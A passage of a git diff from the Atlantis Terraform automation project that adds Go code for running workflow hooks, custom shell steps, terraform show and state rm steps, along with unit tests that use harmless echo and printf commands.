cmd.Env = finalEnvVars + out, err := cmd.CombinedOutput() + + outString := strings.ReplaceAll(string(out), "\n", "\r\n") + wh.OutputHandler.SendWorkflowHook(ctx, outString, false) + wh.OutputHandler.SendWorkflowHook(ctx, "\n", true) + + if err != nil { + err = fmt.Errorf("%s: running %q in %q: \n%s", err, shell+" "+shellArgs+" "+command, path, out) + ctx.Log.Debug("error: %s", err) + return string(out), "", err + } + + // Read the value from the "outputFilePath" file + // to be returned as a custom description. + var customStatusOut []byte + if _, err := os.Stat(outputFilePath); err == nil { + var customStatusErr error + customStatusOut, customStatusErr = os.ReadFile(outputFilePath) + if customStatusErr != nil { + err = fmt.Errorf("%s: running %q in %q: \n%s", err, shell+" "+shellArgs+" "+command, path, out) + ctx.Log.Debug("error: %s", err) + return string(out), "", err + } + } + + ctx.Log.Info("Successfully ran '%s' in '%s'", shell+" "+shellArgs+" "+command, path) + return string(out), strings.Trim(string(customStatusOut), "\n"), nil +} diff --git a/server/core/runtime/pre_workflow_hook_runner_test.go b/server/core/runtime/pre_workflow_hook_runner_test.go new file mode 100644 index 0000000000..b621fa3e07 --- /dev/null +++ b/server/core/runtime/pre_workflow_hook_runner_test.go @@ -0,0 +1,216 @@ +package runtime_test + +import ( + "fmt" + goruntime "runtime" + "strings" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/runtime" + tf "github.com/runatlantis/atlantis/server/core/terraform" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/models" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func commandNotFoundErrorFormat(shell string) string { + // TODO: Add more GOOSs. Also I haven't done too much testing + // maybe the output here depends on other factors as well + if goruntime.GOOS == "darwin" { + return fmt.Sprintf("%s: %%s: command not found\r\n", shell) + } + return fmt.Sprintf("%s: 1: %%s: not found\r\n", shell) + +} + +func unterminatedStringError(shell, shellArgs string) string { + // TODO: Add more GOOSs. Also I haven't done too much testing + // maybe the output here depends on other factors as well + if goruntime.GOOS == "darwin" { + return fmt.Sprintf("%s: %s: line 0: unexpected EOF while looking for matching `''\r\n%s: %s: line 1: syntax error: unexpected end of file\r\n", shell, shellArgs, shell, shellArgs) + } + return fmt.Sprintf("%s: 1: Syntax error: Unterminated quoted string\r\n", shell) +} + +func TestPreWorkflowHookRunner_Run(t *testing.T) { + + defaultShell := "sh" + defaultShellArgs := "-c" + defaultShellCommandNotFoundErrorFormat := commandNotFoundErrorFormat(defaultShell) + defaultUnterminatedStringError := unterminatedStringError(defaultShell, defaultShellArgs) + + cases := []struct { + Command string + Shell string + ShellArgs string + ExpOut string + ExpErr string + ExpDescription string + }{ + { + Command: "", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo hi", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "hi\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: `'your`, + ExpErr: "", + ExpDescription: "", + }, + { + Command: `printf 'your main.tf file does not provide default region.\ncheck'`, + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "your main.tf file does not provide default region.\r\ncheck", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo 'a", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: defaultUnterminatedStringError, + ExpErr: "exit status 2: running \"sh -c echo 'a\" in", + ExpDescription: "", + }, + { + Command: "echo hi >> file && cat file", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "hi\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "lkjlkj", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: fmt.Sprintf(defaultShellCommandNotFoundErrorFormat, "lkjlkj"), + ExpErr: "exit status 127: running \"sh -c lkjlkj\" in", + ExpDescription: "", + }, + { + Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo user_name=$USER_NAME", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "user_name=acme-user\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo something > $OUTPUT_STATUS_FILE", + Shell: defaultShell, + ShellArgs: defaultShellArgs, + ExpOut: "", + ExpErr: "", + ExpDescription: "something", + }, + { + Command: "echo shell test 1", + Shell: "bash", + ShellArgs: defaultShellArgs, + ExpOut: "shell test 1\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo shell test 2", + Shell: defaultShell, + ShellArgs: "-cx", + ExpOut: "+ echo shell test 2\r\nshell test 2\r\n", + ExpErr: "", + ExpDescription: "", + }, + { + Command: "echo shell test 3", + Shell: "bash", + ShellArgs: "-cv", + ExpOut: "echo shell test 3\r\nshell test 3\r\n", + ExpErr: "", + ExpDescription: "", + }, + } + + for _, c := range cases { + var err error + + Ok(t, err) + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + When(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())). + ThenReturn(nil) + + logger := logging.NewNoopLogger(t) + tmpDir := t.TempDir() + + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + r := runtime.DefaultPreWorkflowHookRunner{ + OutputHandler: projectCmdOutputHandler, + } + t.Run(c.Command, func(t *testing.T) { + ctx := models.WorkflowHookCommandContext{ + BaseRepo: models.Repo{ + Name: "basename", + Owner: "baseowner", + }, + HeadRepo: models.Repo{ + Name: "headname", + Owner: "headowner", + }, + Pull: models.PullRequest{ + Num: 2, + URL: "https://github.com/runatlantis/atlantis/pull/2", + HeadBranch: "add-feat", + HeadCommit: "12345abcdef", + BaseBranch: "main", + Author: "acme", + }, + User: models.User{ + Username: "acme-user", + }, + Log: logger, + CommandName: "plan", + } + _, desc, err := r.Run(ctx, c.Command, c.Shell, c.ShellArgs, tmpDir) + if c.ExpErr != "" { + ErrContains(t, c.ExpErr, err) + } else { + Ok(t, err) + } + // Replace $DIR in the exp with the actual temp dir. We do this + // here because when constructing the cases we don't yet know the + // temp dir. + Equals(t, c.ExpDescription, desc) + expOut := strings.Replace(c.ExpOut, "$DIR", tmpDir, -1) + projectCmdOutputHandler.VerifyWasCalledOnce().SendWorkflowHook( + Any[models.WorkflowHookCommandContext](), Eq(expOut), Eq(false)) + }) + } +} diff --git a/server/core/runtime/pull_approved_checker.go b/server/core/runtime/pull_approved_checker.go new file mode 100644 index 0000000000..f4884c2e98 --- /dev/null +++ b/server/core/runtime/pull_approved_checker.go @@ -0,0 +1,12 @@ +package runtime + +import ( + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_pull_approved_checker.go PullApprovedChecker + +type PullApprovedChecker interface { + PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) +} diff --git a/server/core/runtime/run_step_runner.go b/server/core/runtime/run_step_runner.go new file mode 100644 index 0000000000..5fa32896d7 --- /dev/null +++ b/server/core/runtime/run_step_runner.go @@ -0,0 +1,114 @@ +package runtime + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime/models" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/jobs" +) + +// RunStepRunner runs custom commands. +type RunStepRunner struct { + TerraformExecutor TerraformExec + DefaultTFDistribution terraform.Distribution + DefaultTFVersion *version.Version + // TerraformBinDir is the directory where Atlantis downloads Terraform binaries. + TerraformBinDir string + ProjectCmdOutputHandler jobs.ProjectCommandOutputHandler +} + +func (r *RunStepRunner) Run( + ctx command.ProjectContext, + shell *valid.CommandShell, + command string, + path string, + envs map[string]string, + streamOutput bool, + postProcessOutput valid.PostProcessRunOutputOption, +) (string, error) { + tfDistribution := r.DefaultTFDistribution + tfVersion := r.DefaultTFVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + err := r.TerraformExecutor.EnsureVersion(ctx.Log, tfDistribution, tfVersion) + if err != nil { + err = fmt.Errorf("%s: Downloading terraform Version %s", err, tfVersion.String()) + ctx.Log.Debug("error: %s", err) + return "", err + } + + baseEnvVars := os.Environ() + customEnvVars := map[string]string{ + "ATLANTIS_TERRAFORM_DISTRIBUTION": tfDistribution.BinName(), + "ATLANTIS_TERRAFORM_VERSION": tfVersion.String(), + "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, + "BASE_REPO_NAME": ctx.BaseRepo.Name, + "BASE_REPO_OWNER": ctx.BaseRepo.Owner, + "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), + "DIR": path, + "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, + "HEAD_COMMIT": ctx.Pull.HeadCommit, + "HEAD_REPO_NAME": ctx.HeadRepo.Name, + "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, + "PATH": fmt.Sprintf("%s:%s", os.Getenv("PATH"), r.TerraformBinDir), + "PLANFILE": filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)), + "SHOWFILE": filepath.Join(path, ctx.GetShowResultFileName()), + "POLICYCHECKFILE": filepath.Join(path, ctx.GetPolicyCheckResultFileName()), + "PROJECT_NAME": ctx.ProjectName, + "PULL_AUTHOR": ctx.Pull.Author, + "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), + "PULL_URL": ctx.Pull.URL, + "REPO_REL_DIR": ctx.RepoRelDir, + "USER_NAME": ctx.User.Username, + "WORKSPACE": ctx.Workspace, + } + + finalEnvVars := baseEnvVars + for key, val := range customEnvVars { + finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) + } + for key, val := range envs { + finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) + } + + runner := models.NewShellCommandRunner(shell, command, finalEnvVars, path, streamOutput, r.ProjectCmdOutputHandler) + output, err := runner.Run(ctx) + + if postProcessOutput == valid.PostProcessRunOutputStripRefreshing { + output = StripRefreshingFromPlanOutput(output, tfVersion) + + } + + if err != nil { + err = fmt.Errorf("%s: running %q in %q: \n%s", err, command, path, output) + if !ctx.CustomPolicyCheck { + ctx.Log.Debug("error: %s", err) + } else { + ctx.Log.Debug("Treating custom policy tool error exit code as a policy failure. Error output: %s", err) + } + return "", err + } + + switch postProcessOutput { + case valid.PostProcessRunOutputHide: + return "", nil + case valid.PostProcessRunOutputStripRefreshing: + return output, nil + case valid.PostProcessRunOutputShow: + return output, nil + default: + return output, nil + } +} diff --git a/server/core/runtime/run_step_runner_test.go b/server/core/runtime/run_step_runner_test.go new file mode 100644 index 0000000000..51289f8c49 --- /dev/null +++ b/server/core/runtime/run_step_runner_test.go @@ -0,0 +1,189 @@ +package runtime_test + +import ( + "fmt" + "os" + "strings" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRunStepRunner_Run(t *testing.T) { + cases := []struct { + Command string + ProjectName string + ExpOut string + ExpErr string + Version string + Distribution string + }{ + { + Command: "", + ExpOut: "", + Version: "v1.2.3", + }, + { + Command: "echo hi", + ExpOut: "hi\n", + Version: "v2.3.4", + }, + { + Command: `printf \'your main.tf file does not provide default region.\\ncheck\'`, + ExpOut: "'your\n", + }, + { + Command: `printf 'your main.tf file does not provide default region.\ncheck'`, + ExpOut: "your main.tf file does not provide default region.\ncheck\n", + }, + { + Command: `printf '\e[32mgreen'`, + ExpOut: "green\n", + }, + { + Command: "echo 'a", + ExpErr: "exit status 2: running \"echo 'a\" in", + }, + { + Command: "echo hi >> file && cat file", + ExpOut: "hi\n", + }, + { + Command: "lkjlkj", + ExpErr: "exit status 127: running \"lkjlkj\" in", + }, + { + Command: "echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE showfile=$SHOWFILE project=$PROJECT_NAME", + ExpOut: "workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/myworkspace.tfplan showfile=$DIR/myworkspace.json project=\n", + }, + { + Command: "echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE showfile=$SHOWFILE project=$PROJECT_NAME", + ProjectName: "my/project/name", + ExpOut: "workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/my::project::name-myworkspace.tfplan showfile=$DIR/my::project::name-myworkspace.json project=my/project/name\n", + }, + { + Command: "echo distribution=$ATLANTIS_TERRAFORM_DISTRIBUTION", + ProjectName: "my/project/name", + ExpOut: "distribution=terraform\n", + Distribution: "terraform", + }, + { + Command: "echo distribution=$ATLANTIS_TERRAFORM_DISTRIBUTION", + ProjectName: "my/project/name", + ExpOut: "distribution=tofu\n", + Distribution: "opentofu", + }, + { + Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR repo_rel_dir=$REPO_REL_DIR", + ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme repo_rel_dir=mydir\n", + }, + { + Command: "echo user_name=$USER_NAME", + ExpOut: "user_name=acme-user\n", + }, { + Command: "echo $PATH", + ExpOut: fmt.Sprintf("%s:%s\n", os.Getenv("PATH"), "/bin/dir"), + }, + { + Command: "echo args=$COMMENT_ARGS", + ExpOut: "args=-target=resource1,-target=resource2\n", + }, + } + for _, customPolicyCheck := range []bool{false, true} { + for _, c := range cases { + var projVersion *version.Version + var err error + + projVersion, err = version.NewVersion("v0.11.0") + + if c.Version != "" { + projVersion, err = version.NewVersion(c.Version) + Ok(t, err) + } + + Ok(t, err) + + projTFDistribution := "terraform" + if c.Distribution != "" { + projTFDistribution = c.Distribution + } + + defaultVersion, _ := version.NewVersion("0.8") + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + defaultDistribution := tf.NewDistributionTerraformWithDownloader(mocks.NewMockDownloader()) + When(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())). + ThenReturn(nil) + + logger := logging.NewNoopLogger(t) + projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() + tmpDir := t.TempDir() + + r := runtime.RunStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: defaultDistribution, + DefaultTFVersion: defaultVersion, + TerraformBinDir: "/bin/dir", + ProjectCmdOutputHandler: projectCmdOutputHandler, + } + t.Run(fmt.Sprintf("%s_CustomPolicyCheck=%v", c.Command, customPolicyCheck), func(t *testing.T) { + ctx := command.ProjectContext{ + BaseRepo: models.Repo{ + Name: "basename", + Owner: "baseowner", + }, + HeadRepo: models.Repo{ + Name: "headname", + Owner: "headowner", + }, + Pull: models.PullRequest{ + Num: 2, + URL: "https://github.com/runatlantis/atlantis/pull/2", + HeadBranch: "add-feat", + HeadCommit: "12345abcdef", + BaseBranch: "main", + Author: "acme", + }, + User: models.User{ + Username: "acme-user", + }, + Log: logger, + Workspace: "myworkspace", + RepoRelDir: "mydir", + TerraformDistribution: &projTFDistribution, + TerraformVersion: projVersion, + ProjectName: c.ProjectName, + EscapedCommentArgs: []string{"-target=resource1", "-target=resource2"}, + CustomPolicyCheck: customPolicyCheck, + } + out, err := r.Run(ctx, nil, c.Command, tmpDir, map[string]string{"test": "var"}, true, valid.PostProcessRunOutputShow) + if c.ExpErr != "" { + ErrContains(t, c.ExpErr, err) + return + } + Ok(t, err) + // Replace $DIR in the exp with the actual temp dir. We do this + // here because when constructing the cases we don't yet know the + // temp dir. + expOut := strings.Replace(c.ExpOut, "$DIR", tmpDir, -1) + Equals(t, expOut, out) + + terraform.VerifyWasCalledOnce().EnsureVersion(Eq(logger), NotEq(defaultDistribution), Eq(projVersion)) + terraform.VerifyWasCalled(Never()).EnsureVersion(Eq(logger), Eq(defaultDistribution), Eq(defaultVersion)) + + }) + } + } +} diff --git a/server/core/runtime/runtime.go b/server/core/runtime/runtime.go new file mode 100644 index 0000000000..35e571262b --- /dev/null +++ b/server/core/runtime/runtime.go @@ -0,0 +1,123 @@ +// Package runtime holds code for actually running commands vs. preparing +// and constructing. +package runtime + +import ( + "bytes" + "fmt" + "regexp" + "strings" + + version "github.com/hashicorp/go-version" + "github.com/pkg/errors" + runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" +) + +const ( + // lineBeforeRunURL is the line output during a remote operation right before + // a link to the run url will be output. + lineBeforeRunURL = "To view this run in a browser, visit:" + planfileSlashReplace = "::" +) + +// TerraformExec brings the interface from TerraformClient into this package +// without causing circular imports. +type TerraformExec interface { + RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) + EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error +} + +// AsyncTFExec brings the interface from TerraformClient into this package +// without causing circular imports. +// It's split from TerraformExec because due to a bug in pegomock with channels, +// we can't generate a mock for it so we hand-write it for this specific method. +// +//go:generate pegomock generate --package mocks -o mocks/mock_async_tfexec.go AsyncTFExec +type AsyncTFExec interface { + // RunCommandAsync runs terraform with args. It immediately returns an + // input and output channel. Callers can use the output channel to + // get the realtime output from the command. + // Callers can use the input channel to pass stdin input to the command. + // If any error is passed on the out channel, there will be no + // further output (so callers are free to exit). + RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (chan<- string, <-chan runtimemodels.Line) +} + +// StatusUpdater brings the interface from CommitStatusUpdater into this package +// without causing circular imports. +// +//go:generate pegomock generate --package mocks -o mocks/mock_status_updater.go StatusUpdater +type StatusUpdater interface { + UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectResult) error +} + +// Runner mirrors events.StepRunner as a way to bring it into this package +// +//go:generate pegomock generate --package mocks -o mocks/mock_runner.go Runner +type Runner interface { + Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) +} + +// NullRunner is a runner that isn't configured for a given plan type but outputs nothing +type NullRunner struct{} + +func (p NullRunner) Run(ctx command.ProjectContext, _ []string, _ string, _ map[string]string) (string, error) { + ctx.Log.Debug("runner not configured for plan type") + return "", nil +} + +// RemoteBackendUnsupportedRunner is a runner that is responsible for outputting that the remote backend is unsupported +type RemoteBackendUnsupportedRunner struct{} + +func (p RemoteBackendUnsupportedRunner) Run(ctx command.ProjectContext, _ []string, _ string, _ map[string]string) (string, error) { + ctx.Log.Debug("runner not configured for remote backend") + return "Remote backend is unsupported for this step.", nil +} + +// MustConstraint returns a constraint. It panics on error. +func MustConstraint(constraint string) version.Constraints { + c, err := version.NewConstraint(constraint) + if err != nil { + panic(err) + } + return c +} + +// GetPlanFilename returns the filename (not the path) of the generated tf plan +// given a workspace and project name. +func GetPlanFilename(workspace string, projName string) string { + if projName == "" { + return fmt.Sprintf("%s.tfplan", workspace) + } + projName = strings.Replace(projName, "/", planfileSlashReplace, -1) + return fmt.Sprintf("%s-%s.tfplan", projName, workspace) +} + +// isRemotePlan returns true if planContents are from a plan that was generated +// using TFE remote operations. +func IsRemotePlan(planContents []byte) bool { + // We add a header to plans generated by the remote backend so we can + // detect that they're remote in the apply phase. + remoteOpsHeaderBytes := []byte(remoteOpsHeader) + return bytes.Equal(planContents[:len(remoteOpsHeaderBytes)], remoteOpsHeaderBytes) +} + +// ProjectNameFromPlanfile returns the project name that a planfile with name +// filename is for. If filename is for a project without a name then it will +// return an empty string. workspace is the workspace this project is in. +func ProjectNameFromPlanfile(workspace string, filename string) (string, error) { + r, err := regexp.Compile(fmt.Sprintf(`(.*?)-%s\.tfplan`, workspace)) + if err != nil { + return "", errors.Wrap(err, "compiling project name regex, this is a bug") + } + projMatch := r.FindAllStringSubmatch(filename, 1) + if projMatch == nil { + return "", nil + } + rawProjName := projMatch[0][1] + return strings.Replace(rawProjName, planfileSlashReplace, "/", -1), nil +} diff --git a/server/events/runtime/runtime_test.go b/server/core/runtime/runtime_test.go similarity index 96% rename from server/events/runtime/runtime_test.go rename to server/core/runtime/runtime_test.go index 6c840fa6a8..e77ccd4d79 100644 --- a/server/events/runtime/runtime_test.go +++ b/server/core/runtime/runtime_test.go @@ -4,7 +4,7 @@ import ( "fmt" "testing" - "github.com/runatlantis/atlantis/server/events/runtime" + "github.com/runatlantis/atlantis/server/core/runtime" . "github.com/runatlantis/atlantis/testing" ) diff --git a/server/core/runtime/show_step_runner.go b/server/core/runtime/show_step_runner.go new file mode 100644 index 0000000000..ed346bc184 --- /dev/null +++ b/server/core/runtime/show_step_runner.go @@ -0,0 +1,65 @@ +package runtime + +import ( + "os" + "path/filepath" + + "github.com/hashicorp/go-version" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" +) + +const minimumShowTfVersion string = "0.12.0" + +func NewShowStepRunner(executor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTFVersion *version.Version) (Runner, error) { + showStepRunner := &showStepRunner{ + terraformExecutor: executor, + defaultTfDistribution: defaultTfDistribution, + defaultTFVersion: defaultTFVersion, + } + remotePlanRunner := NullRunner{} + runner := NewPlanTypeStepRunnerDelegate(showStepRunner, remotePlanRunner) + return NewMinimumVersionStepRunnerDelegate(minimumShowTfVersion, defaultTFVersion, runner) +} + +// showStepRunner runs terraform show on an existing plan file and outputs it to a json file +type showStepRunner struct { + terraformExecutor TerraformExec + defaultTfDistribution terraform.Distribution + defaultTFVersion *version.Version +} + +func (p *showStepRunner) Run(ctx command.ProjectContext, _ []string, path string, envs map[string]string) (string, error) { + tfDistribution := p.defaultTfDistribution + tfVersion := p.defaultTFVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) + showResultFile := filepath.Join(path, ctx.GetShowResultFileName()) + + output, err := p.terraformExecutor.RunCommandWithVersion( + ctx, + path, + []string{"show", "-json", filepath.Clean(planFile)}, + envs, + tfDistribution, + tfVersion, + ctx.Workspace, + ) + + if err != nil { + return "", errors.Wrap(err, "running terraform show") + } + + if err := os.WriteFile(showResultFile, []byte(output), 0600); err != nil { + return "", errors.Wrap(err, "writing terraform show result") + } + + return output, nil +} diff --git a/server/core/runtime/show_step_runner_test.go b/server/core/runtime/show_step_runner_test.go new file mode 100644 index 0000000000..8c390014ad --- /dev/null +++ b/server/core/runtime/show_step_runner_test.go @@ -0,0 +1,132 @@ +package runtime + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestShowStepRunnner(t *testing.T) { + logger := logging.NewNoopLogger(t) + path := t.TempDir() + resultPath := filepath.Join(path, "test-default.json") + envs := map[string]string{"key": "val"} + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.12") + context := command.ProjectContext{ + Workspace: "default", + ProjectName: "test", + Log: logger, + } + + RegisterMockTestingT(t) + + mockExecutor := tfclientmocks.NewMockClient() + + subject := showStepRunner{ + terraformExecutor: mockExecutor, + defaultTfDistribution: tfDistribution, + defaultTFVersion: tfVersion, + } + + t.Run("success", func(t *testing.T) { + + When(mockExecutor.RunCommandWithVersion( + context, path, []string{"show", "-json", filepath.Join(path, "test-default.tfplan")}, envs, tfDistribution, tfVersion, context.Workspace, + )).ThenReturn("success", nil) + + r, err := subject.Run(context, []string{}, path, envs) + + Ok(t, err) + + actual, _ := os.ReadFile(resultPath) + + actualStr := string(actual) + Assert(t, actualStr == "success", fmt.Sprintf("expected '%s' to be success", actualStr)) + Assert(t, r == "success", fmt.Sprintf("expected '%s' to be success", r)) + + }) + + t.Run("success w/ version override", func(t *testing.T) { + + v, _ := version.NewVersion("0.13.0") + mockDownloader := mocks.NewMockDownloader() + d := tf.NewDistributionTerraformWithDownloader(mockDownloader) + + contextWithVersionOverride := command.ProjectContext{ + Workspace: "default", + ProjectName: "test", + Log: logger, + TerraformVersion: v, + } + + When(mockExecutor.RunCommandWithVersion( + contextWithVersionOverride, path, []string{"show", "-json", filepath.Join(path, "test-default.tfplan")}, envs, d, v, context.Workspace, + )).ThenReturn("success", nil) + + r, err := subject.Run(contextWithVersionOverride, []string{}, path, envs) + + Ok(t, err) + + actual, _ := os.ReadFile(resultPath) + + actualStr := string(actual) + Assert(t, actualStr == "success", "got expected result") + Assert(t, r == "success", "returned expected result") + + }) + + t.Run("success w/ distribution override", func(t *testing.T) { + + v, _ := version.NewVersion("0.13.0") + mockDownloader := mocks.NewMockDownloader() + d := tf.NewDistributionTerraformWithDownloader(mockDownloader) + projTFDistribution := "opentofu" + + contextWithDistributionOverride := command.ProjectContext{ + Workspace: "default", + ProjectName: "test", + Log: logger, + TerraformDistribution: &projTFDistribution, + } + + When(mockExecutor.RunCommandWithVersion( + Eq(contextWithDistributionOverride), Eq(path), Eq([]string{"show", "-json", filepath.Join(path, "test-default.tfplan")}), Eq(envs), NotEq(d), NotEq(v), Eq(context.Workspace), + )).ThenReturn("success", nil) + + r, err := subject.Run(contextWithDistributionOverride, []string{}, path, envs) + + Ok(t, err) + + actual, _ := os.ReadFile(resultPath) + + actualStr := string(actual) + Assert(t, actualStr == "success", "got expected result") + Assert(t, r == "success", "returned expected result") + + }) + + t.Run("failure running command", func(t *testing.T) { + When(mockExecutor.RunCommandWithVersion( + context, path, []string{"show", "-json", filepath.Join(path, "test-default.tfplan")}, envs, tfDistribution, tfVersion, context.Workspace, + )).ThenReturn("success", errors.New("error")) + + _, err := subject.Run(context, []string{}, path, envs) + + Assert(t, err != nil, "error is returned") + + }) + +} diff --git a/server/core/runtime/state_rm_step_runner.go b/server/core/runtime/state_rm_step_runner.go new file mode 100644 index 0000000000..42af97c006 --- /dev/null +++ b/server/core/runtime/state_rm_step_runner.go @@ -0,0 +1,54 @@ +package runtime + +import ( + "os" + "path/filepath" + + version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/utils" +) + +type stateRmStepRunner struct { + terraformExecutor TerraformExec + defaultTFDistribution terraform.Distribution + defaultTFVersion *version.Version +} + +func NewStateRmStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version) Runner { + runner := &stateRmStepRunner{ + terraformExecutor: terraformExecutor, + defaultTFDistribution: defaultTfDistribution, + defaultTFVersion: defaultTfVersion, + } + return NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner) +} + +func (p *stateRmStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + tfDistribution := p.defaultTFDistribution + tfVersion := p.defaultTFVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if 